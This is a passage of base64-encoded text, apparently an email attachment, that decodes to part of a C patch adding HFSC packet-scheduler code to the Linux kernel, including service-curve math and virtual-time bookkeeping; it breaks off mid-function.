ZiAoY2wtPmNsX3Z0IDwgcC0+Y2xfdnQpIHsNCisJCQkvKiBpbnNlcnQgY2wg YmVmb3JlIHAgKi8NCisJCQlsaXN0X2FkZF90YWlsKCZjbC0+YWxpc3QsICZw LT5hbGlzdCk7DQorCQkJcmV0dXJuOw0KKwkJfQ0KKwl9DQorCUFTU0VSVCgw KTsgLyogc2hvdWxkIG5vdCByZWFjaCBoZXJlICovDQorfQ0KKw0KK3N0YXRp YyBpbmxpbmUgdm9pZA0KK2FjdGxpc3RfcmVtb3ZlKHN0cnVjdCBoZnNjX2Ns YXNzICpjbCkNCit7DQorCWxpc3RfZGVsKCZjbC0+YWxpc3QpOw0KK30NCisN CitzdGF0aWMgdm9pZA0KK2FjdGxpc3RfdXBkYXRlKHN0cnVjdCBoZnNjX2Ns YXNzICpjbCkNCit7DQorCXN0cnVjdCBsaXN0X2hlYWQgKmhlYWQgPSAmY2wt PmNsX3BhcmVudC0+YWN0bGlzdDsNCisJc3RydWN0IGhmc2NfY2xhc3MgKnAs ICpsYXN0Ow0KKw0KKwkvKg0KKwkgKiB0aGUgdmlydHVhbCB0aW1lIG9mIGEg Y2xhc3MgaW5jcmVhc2VzIG1vbm90b25pY2FsbHkuDQorCSAqIGlmIHRoZSBu ZXh0IGVudHJ5IGhhcyBhIGxhcmdlciB2aXJ0dWFsIHRpbWUsIG5vdGhpbmcg dG8gZG8uDQorCSAqLw0KKwlpZiAoY2wtPmFsaXN0Lm5leHQgPT0gaGVhZCB8 fA0KKwkgICAgKChwID0gbGlzdF9lbnRyeShjbC0+YWxpc3QubmV4dCwgc3Ry dWN0IGhmc2NfY2xhc3MsIGFsaXN0KSkgJiYNCisJICAgICBjbC0+Y2xfdnQg PD0gcC0+Y2xfdnQpKQ0KKwkJcmV0dXJuOw0KKw0KKwkvKiBjaGVjayB0aGUg bGFzdCBlbnRyeSAqLw0KKwlsYXN0ID0gbGlzdF9lbnRyeShoZWFkLT5wcmV2 LCBzdHJ1Y3QgaGZzY19jbGFzcywgYWxpc3QpOw0KKwlpZiAobGFzdC0+Y2xf dnQgPD0gY2wtPmNsX3Z0KSB7DQorCQlsaXN0X21vdmVfdGFpbCgmY2wtPmFs aXN0LCBoZWFkKTsNCisJCXJldHVybjsNCisJfQ0KKw0KKwkvKg0KKwkgKiB0 aGUgbmV3IHBvc2l0aW9uIG11c3QgYmUgYmV0d2VlbiB0aGUgbmV4dCBlbnRy eQ0KKwkgKiBhbmQgdGhlIGxhc3QgZW50cnkNCisJICovDQorCWxpc3RfZm9y X2VhY2hfZW50cnlfY29udGludWUocCwgaGVhZCwgYWxpc3QpIHsNCisJCWlm IChjbC0+Y2xfdnQgPCBwLT5jbF92dCkgew0KKwkJCWxpc3RfbW92ZV90YWls KCZjbC0+YWxpc3QsICZwLT5hbGlzdCk7DQorCQkJcmV0dXJuOw0KKwkJfQ0K Kwl9DQorCUFTU0VSVCgwKTsgLyogc2hvdWxkIG5vdCByZWFjaCBoZXJlICov DQorfQ0KKw0KK3N0YXRpYyBpbmxpbmUgc3RydWN0IGhmc2NfY2xhc3MgKg0K K2FjdGxpc3RfZmlyc3RmaXQoc3RydWN0IGhmc2NfY2xhc3MgKmNsLCB1X2lu dDY0X3QgY3VyX3RpbWUpDQorew0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAqcDsN CisNCisJbGlzdF9mb3JfZWFjaF9lbnRyeShwLCAmY2wtPmFjdGxpc3QsIGFs aXN0KSB7DQorCQlpZiAocC0+Y2xfZiA8PSBjdXJfdGltZSkgew0KKwkJCXJl dHVybiBwOw0KKwkJfQ0KKwl9DQorCXJldHVybiBOVUxMOw0KK30NCisNCisv Kg0KKyAqIGdldCB0aGUgbGVhZiBjbGFzcyB3aXRoIHRoZSBtaW5pbXVtIHZ0 IGluIHRoZSBoaWVyYXJjaHkNCisgKi8NCitzdGF0aWMgc3RydWN0IGhmc2Nf Y2xhc3MgKg0KK2FjdGxpc3RfZ2V0X21pbnZ0KHN0cnVjdCBoZnNjX2NsYXNz ICpjbCwgdV9pbnQ2NF90IGN1cl90aW1lKQ0KK3sNCisJLyogaWYgcm9vdC1j bGFzcydzIGNmbWluIGlzIGJpZ2dlciB0aGFuIGN1cl90aW1lIG5vdGhpbmcg dG8gZG8gKi8NCisJaWYgKGNsLT5jbF9jZm1pbiA+IGN1cl90aW1lKQ0KKwkJ cmV0dXJuIE5VTEw7DQorDQorCXdoaWxlIChjbC0+bGV2ZWwgPiAwKSB7DQor CQljbCA9IGFjdGxpc3RfZmlyc3RmaXQoY2wsIGN1cl90aW1lKTsNCisJCWlm IChjbCA9PSBOVUxMKQ0KKwkJCXJldHVybiBOVUxMOw0KKwkJLyoNCisJCSAq IHVwZGF0ZSBwYXJlbnQncyBjbF9jdnRtaW4uDQorCQkgKi8NCisJCWlmIChj bC0+Y2xfcGFyZW50LT5jbF9jdnRtaW4gPCBjbC0+Y2xfdnQpDQorCQkJY2wt PmNsX3BhcmVudC0+Y2xfY3Z0bWluID0gY2wtPmNsX3Z0Ow0KKwl9DQorCXJl dHVybiBjbDsNCit9DQorDQorLyoNCisgKiBzZXJ2aWNlIGN1cnZlIHN1cHBv cnQgZnVuY3Rpb25zDQorICoNCisgKiAgZXh0ZXJuYWwgc2VydmljZSBjdXJ2 ZSBwYXJhbWV0ZXJzDQorICoJbTogYnBzDQorICoJZDogdXMNCisgKiAgaW50 ZXJuYWwgc2VydmljZSBjdXJ2ZSBwYXJhbWV0ZXJzDQorICoJc206IChieXRl cy9wc2NoZWRfdXMpIDw8IFNNX1NISUZUDQorICoJaXNtOiAocHNjaGVkX3Vz L2J5dGUpIDw8IElTTV9TSElGVA0KKyAqCWR4OiBwc2NoZWRfdXMNCisgKg0K KyAqIFRpbWUgc291cmNlIHJlc29sdXRpb24NCisgKiAgUFNDSEVEX0pJRkZJ RVM6IGZvciA0ODw9SFo8PTE1MzQgcmVzb2x1dGlvbiBpcyBiZXR3ZWVuIDAu NjN1cyBhbmQgMS4yN3VzLg0KKyAqICBQU0NIRURfQ1BVOiByZXNvbHV0aW9u IGlzIGJldHdlZW4gMC41dXMgYW5kIDF1cy4NCisgKiAgUFNDSEVEX0dFVFRJ TUVPRkRBWTogcmVzb2x1dGlvbiBpcyBleGFjdGx5IDF1cy4NCisgKiANCisg KiBzbSBhbmQgaXNtIGFyZSBzY2FsZWQgaW4gb3JkZXIgdG8ga2VlcCBlZmZl Y3RpdmUgZGlnaXRzLg0KKyAqIFNNX1NISUZUIGFuZCBJU01fU0hJRlQgYXJl IHNlbGVjdGVkIHRvIGtlZXAgYXQgbGVhc3QgNCBlZmZlY3RpdmUNCisgKiBk aWdpdHMgaW4gZGVjaW1hbCB1c2luZyB0aGUgZm9sbG93aW5nIHRhYmxlLg0K KyAqDQorICogTm90ZTogV2UgY2FuIGFmZm9yZCB0aGUgYWRkaXRpb25hbCBh Y2N1cmFjeSAoYWx0cSBoZnNjIGtlZXBzIGF0IG1vc3QNCisgKiAzIGVmZmVj dGl2ZSBkaWdpdHMpIHRoYW5rcyB0byB0aGUgZmFjdCB0aGF0IGxpbnV4IGNs b2NrIGlzIGJvdW5kZWQNCisgKiBtdWNoIG1vcmUgdGlnaHRseS4NCisgKg0K KyAqICBiaXRzL3NlYyAgICAgIDEwMEticHMgICAgIDFNYnBzICAgICAxME1i cHMgICAgIDEwME1icHMgICAgMUdicHMNCisgKiAgLS0tLS0tLS0tLS0tKy0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0NCisgKiAgYnl0ZXMvMC41dXMgICA2LjI1ZS0zICAgIDYyLjVl LTMgICAgNjI1ZS0zICAgICA2MjUwZS1lICAgIDYyNTAwZS0zDQorICogIGJ5 dGVzL3VzICAgICAgMTIuNWUtMyAgICAxMjVlLTMgICAgIDEyNTBlLTMgICAg MTI1MDBlLTMgICAxMjUwMDBlLTMNCisgKiAgYnl0ZXMvMS4yN3VzICAxNS44 NzVlLTMgIDE1OC43NWUtMyAgMTU4Ny41ZS0zICAxNTg3NWUtMyAgIDE1ODc1 MGUtMw0KKyAqDQorICogIDAuNXVzL2J5dGUgICAgMTYwICAgICAgICAxNiAg ICAgICAgIDEuNiAgICAgICAgMC4xNiAgICAgICAwLjAxNiAgDQorICogIHVz L2J5dGUgICAgICAgODAgICAgICAgICA4ICAgICAgICAgIDAuOCAgICAgICAg MC4wOCAgICAgICAwLjAwOA0KKyAqICAxLjI3dXMvYnl0ZSAgIDYzICAgICAg ICAgNi4zICAgICAgICAwLjYzICAgICAgIDAuMDYzICAgICAgMC4wMDYzDQor ICovDQorI2RlZmluZQlTTV9TSElGVAkyMA0KKyNkZWZpbmUJSVNNX1NISUZU CTE4DQorDQorI2RlZmluZQlTTV9NQVNLCQkoKDFVTEwgPDwgU01fU0hJRlQp IC0gMSkNCisjZGVmaW5lCUlTTV9NQVNLCSgoMVVMTCA8PCBJU01fU0hJRlQp IC0gMSkNCisNCitzdGF0aWMgaW5saW5lIHVfaW50NjRfdA0KK3NlZ194Mnko dV9pbnQ2NF90IHgsIHVfaW50NjRfdCBzbSkNCit7DQorCXVfaW50NjRfdCB5 Ow0KKw0KKwkvKg0KKwkgKiBjb21wdXRlDQorCSAqCXkgPSB4ICogc20gPj4g U01fU0hJRlQNCisJICogYnV0IGRpdmlkZSBpdCBmb3IgdGhlIHVwcGVyIGFu ZCBsb3dlciBiaXRzIHRvIGF2b2lkIG92ZXJmbG93DQorCSAqLw0KKwl5ID0g KHggPj4gU01fU0hJRlQpICogc20gKyAoKCh4ICYgU01fTUFTSykgKiBzbSkg Pj4gU01fU0hJRlQpOw0KKwlyZXR1cm4geTsNCit9DQorDQorc3RhdGljIGlu bGluZSB1X2ludDY0X3QNCitzZWdfeTJ4KHVfaW50NjRfdCB5LCB1X2ludDY0 X3QgaXNtKQ0KK3sNCisJdV9pbnQ2NF90IHg7DQorDQorCWlmICh5ID09IDAp DQorCQl4ID0gMDsNCisJZWxzZSBpZiAoaXNtID09IEhUX0lORklOSVRZKQ0K KwkJeCA9IEhUX0lORklOSVRZOw0KKwllbHNlIHsNCisJCXggPSAoeSA+PiBJ U01fU0hJRlQpICogaXNtDQorCQkgICAgKyAoKCh5ICYgSVNNX01BU0spICog aXNtKSA+PiBJU01fU0hJRlQpOw0KKwl9DQorCXJldHVybiB4Ow0KK30NCisN CisvKiBDb252ZXJ0IG0gKGJwcykgaW50byBzbSAoYnl0ZXMvcHNjaGVkIHVz KSAqLw0KK3N0YXRpYyB1X2ludDY0X3QNCittMnNtKHVfaW50MzJfdCBtKQ0K K3sNCisJdV9pbnQ2NF90IHNtOw0KKw0KKwlzbSA9ICgodV9pbnQ2NF90KW0g PDwgU01fU0hJRlQpOw0KKwlzbSArPSBQU0NIRURfSklGRklFMlVTKEhaKSAt IDE7DQorCWRvX2RpdihzbSwgUFNDSEVEX0pJRkZJRTJVUyhIWikpOw0KKwly ZXR1cm4gc207DQorfQ0KKw0KKy8qIGNvbnZlcnQgbSAoYnBzKSBpbnRvIGlz bSAocHNjaGVkIHVzL2J5dGUpICovDQorc3RhdGljIHVfaW50NjRfdA0KK20y aXNtKHVfaW50MzJfdCBtKQ0KK3sNCisJdV9pbnQ2NF90IGlzbTsNCisNCisJ aWYgKG0gPT0gMCkNCisJCWlzbSA9IEhUX0lORklOSVRZOw0KKwllbHNlIHsN CisJCWlzbSA9ICgodV9pbnQ2NF90KVBTQ0hFRF9KSUZGSUUyVVMoSFopIDw8 IElTTV9TSElGVCk7DQorCQlpc20gKz0gbSAtIDE7DQorCQlkb19kaXYoaXNt LCBtKTsNCisJfQ0KKwlyZXR1cm4gaXNtOw0KK30NCisNCisvKiBjb252ZXJ0 IGQgKHVzKSBpbnRvIGR4IChwc2NoZWQgdXMpICovDQorc3RhdGljIHVfaW50 NjRfdA0KK2QyZHgodV9pbnQzMl90IGQpDQorew0KKwl1X2ludDY0X3QgZHg7 DQorDQorCWR4ID0gKCh1X2ludDY0X3QpZCAqIFBTQ0hFRF9KSUZGSUUyVVMo SFopKTsNCisJZHggKz0gMTAwMDAwMCAtIDE7DQorCWRvX2RpdihkeCwgMTAw MDAwMCk7DQorCXJldHVybiBkeDsNCit9DQorDQorLyogY29udmVydCBzbSAo Ynl0ZXMvcHNjaGVkIHVzKSBpbnRvIG0gKGJwcykgKi8NCitzdGF0aWMgdV9p bnQzMl90DQorc20ybSh1X2ludDY0X3Qgc20pDQorew0KKwl1X2ludDY0X3Qg bTsNCisNCisJbSA9IChzbSAqIFBTQ0hFRF9KSUZGSUUyVVMoSFopKSA+PiBT TV9TSElGVDsNCisJcmV0dXJuICh1X2ludDMyX3QpbTsNCit9DQorDQorLyog Y29udmVydCBkeCAocHNjaGVkIHVzKSBpbnRvIGQgKHVzKSAqLw0KK3N0YXRp YyB1X2ludDMyX3QNCitkeDJkKHVfaW50NjRfdCBkeCkNCit7DQorCXVfaW50 NjRfdCBkOw0KKw0KKwlkID0gZHggKiAxMDAwMDAwOw0KKwlkb19kaXYoZCwg UFNDSEVEX0pJRkZJRTJVUyhIWikpOw0KKwlyZXR1cm4gKHVfaW50MzJfdClk Ow0KK30NCisNCitzdGF0aWMgdm9pZA0KK3NjMmlzYyhzdHJ1Y3QgdGNfc2Vy dmljZV9jdXJ2ZSAqc2MsIHN0cnVjdCBpbnRlcm5hbF9zYyAqaXNjKQ0KK3sN CisJaXNjLT5zbTEgID0gbTJzbShzYy0+bTEpOw0KKwlpc2MtPmlzbTEgPSBt MmlzbShzYy0+bTEpOw0KKwlpc2MtPmR4ICAgPSBkMmR4KHNjLT5kKTsNCisJ aXNjLT5keSAgID0gc2VnX3gyeShpc2MtPmR4LCBpc2MtPnNtMSk7DQorCWlz Yy0+c20yICA9IG0yc20oc2MtPm0yKTsNCisJaXNjLT5pc20yID0gbTJpc20o c2MtPm0yKTsNCit9DQorDQorLyoNCisgKiBpbml0aWFsaXplIHRoZSBydW50 aW1lIHNlcnZpY2UgY3VydmUgd2l0aCB0aGUgZ2l2ZW4gaW50ZXJuYWwNCisg KiBzZXJ2aWNlIGN1cnZlIHN0YXJ0aW5nIGF0ICh4LCB5KS4NCisgKi8NCitz dGF0aWMgdm9pZA0KK3J0c2NfaW5pdChzdHJ1Y3QgcnVudGltZV9zYyAqcnRz Yywgc3RydWN0IGludGVybmFsX3NjICppc2MsIHVfaW50NjRfdCB4LA0KKyAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIHVfaW50NjRfdCB5KQ0KK3sNCisJcnRzYy0+eAkgICA9 IHg7DQorCXJ0c2MtPnkgICAgPSB5Ow0KKwlydHNjLT5zbTEgID0gaXNjLT5z bTE7DQorCXJ0c2MtPmlzbTEgPSBpc2MtPmlzbTE7DQorCXJ0c2MtPmR4ICAg PSBpc2MtPmR4Ow0KKwlydHNjLT5keSAgID0gaXNjLT5keTsNCisJcnRzYy0+ c20yICA9IGlzYy0+c20yOw0KKwlydHNjLT5pc20yID0gaXNjLT5pc20yOw0K K30NCisNCisvKg0KKyAqIGNhbGN1bGF0ZSB0aGUgeS1wcm9qZWN0aW9uIG9m IHRoZSBydW50aW1lIHNlcnZpY2UgY3VydmUgYnkgdGhlDQorICogZ2l2ZW4g eC1wcm9qZWN0aW9uIHZhbHVlDQorICovDQorc3RhdGljIHVfaW50NjRfdA0K K3J0c2NfeTJ4KHN0cnVjdCBydW50aW1lX3NjICpydHNjLCB1X2ludDY0X3Qg eSkNCit7DQorCXVfaW50NjRfdCB4Ow0KKw0KKwlpZiAoeSA8IHJ0c2MtPnkp DQorCQl4ID0gcnRzYy0+eDsNCisJZWxzZSBpZiAoeSA8PSBydHNjLT55ICsg cnRzYy0+ZHkpIHsNCisJCS8qIHggYmVsb25ncyB0byB0aGUgMXN0IHNlZ21l bnQgKi8NCisJCWlmIChydHNjLT5keSA9PSAwKQ0KKwkJCXggPSBydHNjLT54 ICsgcnRzYy0+ZHg7DQorCQllbHNlDQorCQkJeCA9IHJ0c2MtPnggKyBzZWdf eTJ4KHkgLSBydHNjLT55LCBydHNjLT5pc20xKTsNCisJfSBlbHNlIHsNCisJ CS8qIHggYmVsb25ncyB0byB0aGUgMm5kIHNlZ21lbnQgKi8NCisJCXggPSBy dHNjLT54ICsgcnRzYy0+ZHgNCisJCSAgICArIHNlZ195MngoeSAtIHJ0c2Mt PnkgLSBydHNjLT5keSwgcnRzYy0+aXNtMik7DQorCX0NCisJcmV0dXJuIHg7 DQorfQ0KKw0KK3N0YXRpYyB1X2ludDY0X3QNCitydHNjX3gyeShzdHJ1Y3Qg cnVudGltZV9zYyAqcnRzYywgdV9pbnQ2NF90IHgpDQorew0KKwl1X2ludDY0 X3QgeTsNCisNCisJaWYgKHggPD0gcnRzYy0+eCkNCisJCXkgPSBydHNjLT55 Ow0KKwllbHNlIGlmICh4IDw9IHJ0c2MtPnggKyBydHNjLT5keCkNCisJCS8q IHkgYmVsb25ncyB0byB0aGUgMXN0IHNlZ21lbnQgKi8NCisJCXkgPSBydHNj LT55ICsgc2VnX3gyeSh4IC0gcnRzYy0+eCwgcnRzYy0+c20xKTsNCisJZWxz ZQ0KKwkJLyogeSBiZWxvbmdzIHRvIHRoZSAybmQgc2VnbWVudCAqLw0KKwkJ eSA9IHJ0c2MtPnkgKyBydHNjLT5keQ0KKwkJICAgICsgc2VnX3gyeSh4IC0g cnRzYy0+eCAtIHJ0c2MtPmR4LCBydHNjLT5zbTIpOw0KKwlyZXR1cm4geTsN Cit9DQorDQorLyoNCisgKiB1cGRhdGUgdGhlIHJ1bnRpbWUgc2VydmljZSBj dXJ2ZSBieSB0YWtpbmcgdGhlIG1pbmltdW0gb2YgdGhlIGN1cnJlbnQNCisg KiBydW50aW1lIHNlcnZpY2UgY3VydmUgYW5kIHRoZSBzZXJ2aWNlIGN1cnZl IHN0YXJ0aW5nIGF0ICh4LCB5KS4NCisgKi8NCitzdGF0aWMgdm9pZA0KK3J0 c2NfbWluKHN0cnVjdCBydW50aW1lX3NjICpydHNjLCBzdHJ1Y3QgaW50ZXJu YWxfc2MgKmlzYywgdV9pbnQ2NF90IHgsDQorICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1X2lu dDY0X3QgeSkNCit7DQorCXVfaW50NjRfdCB5MSwgeTIsIGR4LCBkeTsNCisJ dV9pbnQzMl90IGRzbTsNCisNCisJaWYgKGlzYy0+c20xIDw9IGlzYy0+c20y KSB7DQorCQkvKiBzZXJ2aWNlIGN1cnZlIGlzIGNvbnZleCAqLw0KKwkJeTEg PSBydHNjX3gyeShydHNjLCB4KTsNCisJCWlmICh5MSA8IHkpDQorCQkJLyog dGhlIGN1cnJlbnQgcnRzYyBpcyBzbWFsbGVyICovDQorCQkJcmV0dXJuOw0K KwkJcnRzYy0+eCA9IHg7DQorCQlydHNjLT55ID0geTsNCisJCXJldHVybjsN CisJfQ0KKw0KKwkvKg0KKwkgKiBzZXJ2aWNlIGN1cnZlIGlzIGNvbmNhdmUN CisJICogY29tcHV0ZSB0aGUgdHdvIHkgdmFsdWVzIG9mIHRoZSBjdXJyZW50 IHJ0c2MNCisJICoJeTE6IGF0IHgNCisJICoJeTI6IGF0ICh4ICsgZHgpDQor CSAqLw0KKwl5MSA9IHJ0c2NfeDJ5KHJ0c2MsIHgpOw0KKwlpZiAoeTEgPD0g eSkgew0KKwkJLyogcnRzYyBpcyBiZWxvdyBpc2MsIG5vIGNoYW5nZSB0byBy dHNjICovDQorCQlyZXR1cm47DQorCX0NCisNCisJeTIgPSBydHNjX3gyeShy dHNjLCB4ICsgaXNjLT5keCk7DQorCWlmICh5MiA+PSB5ICsgaXNjLT5keSkg ew0KKwkJLyogcnRzYyBpcyBhYm92ZSBpc2MsIHJlcGxhY2UgcnRzYyBieSBp c2MgKi8NCisJCXJ0c2MtPnggPSB4Ow0KKwkJcnRzYy0+eSA9IHk7DQorCQly dHNjLT5keCA9IGlzYy0+ZHg7DQorCQlydHNjLT5keSA9IGlzYy0+ZHk7DQor CQlyZXR1cm47DQorCX0NCisNCisJLyoNCisJICogdGhlIHR3byBjdXJ2ZXMg aW50ZXJzZWN0DQorCSAqIGNvbXB1dGUgdGhlIG9mZnNldHMgKGR4LCBkeSkg dXNpbmcgdGhlIHJldmVyc2UNCisJICogZnVuY3Rpb24gb2Ygc2VnX3gyeSgp DQorCSAqCXNlZ194MnkoZHgsIHNtMSkgPT0gc2VnX3gyeShkeCwgc20yKSAr ICh5MSAtIHkpDQorCSAqLw0KKwlkeCA9ICh5MSAtIHkpIDw8IFNNX1NISUZU Ow0KKwlkc20gPSBpc2MtPnNtMSAtIGlzYy0+c20yOw0KKwlkb19kaXYoZHgs IGRzbSk7DQorCS8qDQorCSAqIGNoZWNrIGlmICh4LCB5MSkgYmVsb25ncyB0 byB0aGUgMXN0IHNlZ21lbnQgb2YgcnRzYy4NCisJICogaWYgc28sIGFkZCB0 aGUgb2Zmc2V0Lg0KKwkgKi8NCisJaWYgKHJ0c2MtPnggKyBydHNjLT5keCA+ IHgpDQorCQlkeCArPSBydHNjLT54ICsgcnRzYy0+ZHggLSB4Ow0KKwlkeSA9 IHNlZ194MnkoZHgsIGlzYy0+c20xKTsNCisNCisJcnRzYy0+eCA9IHg7DQor CXJ0c2MtPnkgPSB5Ow0KKwlydHNjLT5keCA9IGR4Ow0KKwlydHNjLT5keSA9 IGR5Ow0KKwlyZXR1cm47DQorfQ0KKw0KK3N0YXRpYyB2b2lkDQoraW5pdF9l ZChzdHJ1Y3QgaGZzY19jbGFzcyAqY2wsIHVuc2lnbmVkIGludCBuZXh0X2xl bikNCit7DQorCXVfaW50NjRfdCBjdXJfdGltZTsNCisNCisJUFNDSEVEX0dF VF9USU1FKGN1cl90aW1lKTsNCisNCisJLyogdXBkYXRlIHRoZSBkZWFkbGlu ZSBjdXJ2ZSAqLw0KKwlydHNjX21pbigmY2wtPmNsX2RlYWRsaW5lLCAmY2wt PmNsX3JzYywgY3VyX3RpbWUsIGNsLT5jbF9jdW11bCk7DQorDQorCS8qDQor CSAqIHVwZGF0ZSB0aGUgZWxpZ2libGUgY3VydmUuDQorCSAqIGZvciBjb25j YXZlLCBpdCBpcyBlcXVhbCB0byB0aGUgZGVhZGxpbmUgY3VydmUuDQorCSAq IGZvciBjb252ZXgsIGl0IGlzIGEgbGluZWFyIGN1cnZlIHdpdGggc2xvcGUg bTIuDQorCSAqLw0KKwljbC0+Y2xfZWxpZ2libGUgPSBjbC0+Y2xfZGVhZGxp bmU7DQorCWlmIChjbC0+Y2xfcnNjLnNtMSA8PSBjbC0+Y2xfcnNjLnNtMikg ew0KKwkJY2wtPmNsX2VsaWdpYmxlLmR4ID0gMDsNCisJCWNsLT5jbF9lbGln aWJsZS5keSA9IDA7DQorCX0NCisNCisJLyogY29tcHV0ZSBlIGFuZCBkICov DQorCWNsLT5jbF9lID0gcnRzY195MngoJmNsLT5jbF9lbGlnaWJsZSwgY2wt PmNsX2N1bXVsKTsNCisJY2wtPmNsX2QgPSBydHNjX3kyeCgmY2wtPmNsX2Rl YWRsaW5lLCBjbC0+Y2xfY3VtdWwgKyBuZXh0X2xlbik7DQorDQorCWVsbGlz dF9pbnNlcnQoY2wpOw0KK30NCisNCitzdGF0aWMgdm9pZA0KK3VwZGF0ZV9l ZChzdHJ1Y3QgaGZzY19jbGFzcyAqY2wsIHVuc2lnbmVkIGludCBuZXh0X2xl bikNCit7DQorCWNsLT5jbF9lID0gcnRzY195MngoJmNsLT5jbF9lbGlnaWJs ZSwgY2wtPmNsX2N1bXVsKTsNCisJY2wtPmNsX2QgPSBydHNjX3kyeCgmY2wt PmNsX2RlYWRsaW5lLCBjbC0+Y2xfY3VtdWwgKyBuZXh0X2xlbik7DQorDQor CWVsbGlzdF91cGRhdGUoY2wpOw0KK30NCisNCitzdGF0aWMgaW5saW5lIHZv aWQNCit1cGRhdGVfZChzdHJ1Y3QgaGZzY19jbGFzcyAqY2wsIHVuc2lnbmVk IGludCBuZXh0X2xlbikNCit7DQorCWNsLT5jbF9kID0gcnRzY195MngoJmNs LT5jbF9kZWFkbGluZSwgY2wtPmNsX2N1bXVsICsgbmV4dF9sZW4pOw0KK30N CisNCitzdGF0aWMgdm9pZA0KK3VwZGF0ZV9jZm1pbihzdHJ1Y3QgaGZzY19j bGFzcyAqY2wpDQorew0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAqcDsNCisJdV9p bnQ2NF90IGNmbWluOw0KKw0KKwlpZiAobGlzdF9lbXB0eSgmY2wtPmFjdGxp c3QpKSB7DQorCQljbC0+Y2xfY2ZtaW4gPSAwOw0KKwkJcmV0dXJuOw0KKwl9 DQorCWNmbWluID0gSFRfSU5GSU5JVFk7DQorCWxpc3RfZm9yX2VhY2hfZW50 cnkocCwgJmNsLT5hY3RsaXN0LCBhbGlzdCkgew0KKwkJaWYgKHAtPmNsX2Yg PT0gMCkgew0KKwkJCWNsLT5jbF9jZm1pbiA9IDA7DQorCQkJcmV0dXJuOw0K KwkJfQ0KKwkJaWYgKHAtPmNsX2YgPCBjZm1pbikNCisJCQljZm1pbiA9IHAt PmNsX2Y7DQorCX0NCisJY2wtPmNsX2NmbWluID0gY2ZtaW47DQorfQ0KKw0K K3N0YXRpYyB2b2lkDQoraW5pdF92ZihzdHJ1Y3QgaGZzY19jbGFzcyAqY2ws IHVuc2lnbmVkIGludCBsZW4pDQorew0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAq bWF4X2NsLCAqcDsNCisJdV9pbnQ2NF90IHZ0LCBmLCBjdXJfdGltZTsNCisJ aW50IGdvX2FjdGl2ZTsNCisNCisJY3VyX3RpbWUgPSAwOw0KKwlnb19hY3Rp dmUgPSAxOw0KKwlmb3IgKDsgY2wtPmNsX3BhcmVudCAhPSBOVUxMOyBjbCA9 IGNsLT5jbF9wYXJlbnQpIHsNCisJCWlmIChnb19hY3RpdmUgJiYgY2wtPmNs X25hY3RpdmUrKyA9PSAwKQ0KKwkJCWdvX2FjdGl2ZSA9IDE7DQorCQllbHNl DQorCQkJZ29fYWN0aXZlID0gMDsNCisNCisJCWlmIChnb19hY3RpdmUpIHsN CisJCQlpZiAoIWxpc3RfZW1wdHkoJmNsLT5jbF9wYXJlbnQtPmFjdGxpc3Qp KSB7DQorCQkJCW1heF9jbCA9IGxpc3RfZW50cnkoY2wtPmNsX3BhcmVudC0+ YWN0bGlzdC5wcmV2LA0KKwkJCQkgICAgICAgICAgICAgICAgICAgIHN0cnVj dCBoZnNjX2NsYXNzLCBhbGlzdCk7DQorCQkJCS8qDQorCQkJCSAqIHNldCB2 dCB0byB0aGUgYXZlcmFnZSBvZiB0aGUgbWluIGFuZCBtYXgNCisJCQkJICog Y2xhc3Nlcy4gIGlmIHRoZSBwYXJlbnQncyBwZXJpb2QgZGlkbid0DQorCQkJ CSAqIGNoYW5nZSwgZG9uJ3QgZGVjcmVhc2UgdnQgb2YgdGhlIGNsYXNzLg0K KwkJCQkgKi8NCisJCQkJdnQgPSBtYXhfY2wtPmNsX3Z0Ow0KKwkJCQlpZiAo Y2wtPmNsX3BhcmVudC0+Y2xfY3Z0bWluICE9IDApDQorCQkJCQl2dCA9IChj bC0+Y2xfcGFyZW50LT5jbF9jdnRtaW4gKyB2dCkvMjsNCisNCisJCQkJaWYg KGNsLT5jbF9wYXJlbnQtPmNsX3Z0cGVyaW9kICE9DQorCQkJCSAgICBjbC0+ Y2xfcGFyZW50cGVyaW9kIHx8IHZ0ID4gY2wtPmNsX3Z0KQ0KKwkJCQkJY2wt PmNsX3Z0ID0gdnQ7DQorCQkJfSBlbHNlIHsNCisJCQkJLyoNCisJCQkJICog Zmlyc3QgY2hpbGQgZm9yIGEgbmV3IHBhcmVudCBiYWNrbG9nIHBlcmlvZC4N CisJCQkJICogYWRkIHBhcmVudCdzIGN2dG1heCB0byB2dG9mZiBvZiBjaGls ZHJlbg0KKwkJCQkgKiB0byBtYWtlIGEgbmV3IHZ0ICh2dG9mZiArIHZ0KSBs YXJnZXIgdGhhbg0KKwkJCQkgKiB0aGUgdnQgaW4gdGhlIGxhc3QgcGVyaW9k IGZvciBhbGwgY2hpbGRyZW4uDQorCQkJCSAqLw0KKwkJCQl2dCA9IGNsLT5j bF9wYXJlbnQtPmNsX2N2dG1heDsNCisJCQkJbGlzdF9mb3JfZWFjaF9lbnRy eShwLCAmY2wtPmNsX3BhcmVudC0+Y2hpbGRyZW4sDQorCQkJCSAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNpYmxpbmdzKQ0KKwkJ CQkJcC0+Y2xfdnRvZmYgKz0gdnQ7DQorCQkJCWNsLT5jbF92dCA9IDA7DQor CQkJCWNsLT5jbF9wYXJlbnQtPmNsX2N2dG1heCA9IDA7DQorCQkJCWNsLT5j bF9wYXJlbnQtPmNsX2N2dG1pbiA9IDA7DQorCQkJfQ0KKw0KKwkJCS8qIHVw ZGF0ZSB0aGUgdmlydHVhbCBjdXJ2ZSAqLw0KKwkJCXZ0ID0gY2wtPmNsX3Z0 ICsgY2wtPmNsX3Z0b2ZmOw0KKwkJCXJ0c2NfbWluKCZjbC0+Y2xfdmlydHVh bCwgJmNsLT5jbF9mc2MsIHZ0LA0KKwkJCSAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIGNsLT5jbF90b3RhbCk7DQorCQkJaWYgKGNsLT5jbF92aXJ0 dWFsLnggPT0gdnQpIHsNCisJCQkJY2wtPmNsX3ZpcnR1YWwueCAtPSBjbC0+ 